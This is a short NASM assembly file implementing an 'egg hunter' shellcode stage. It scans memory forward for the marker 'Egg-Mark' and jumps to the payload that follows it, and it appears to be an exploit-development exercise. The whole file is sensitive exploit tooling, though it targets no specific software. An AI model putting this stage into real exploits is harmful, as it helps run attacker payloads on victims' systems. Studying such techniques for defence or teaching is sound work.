; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see .
;
;
; Filename: hunter.nasm
; Author: Andrey Arapov
; 2013 March
;
;
section .data
egg1 equ "Egg-" ; DWORD Egg marker part1
egg2 equ "Mark" ; DWORD Egg marker part2
section .text
global _start
_start:
jmp short huntersEnd
continue:
pop eax ; Now EAX points at hunters End
; Searching for the Egg marker
next:
inc eax ; Searching forward (can also try dec eax)
isEgg:
cmp dword [eax-8], egg1 ; Checking if we can see egg1
jne next ; If not, continuing to search
cmp dword [eax-4], egg2
jne next
call eax ; Once found, we call our payload
huntersEnd:
call continue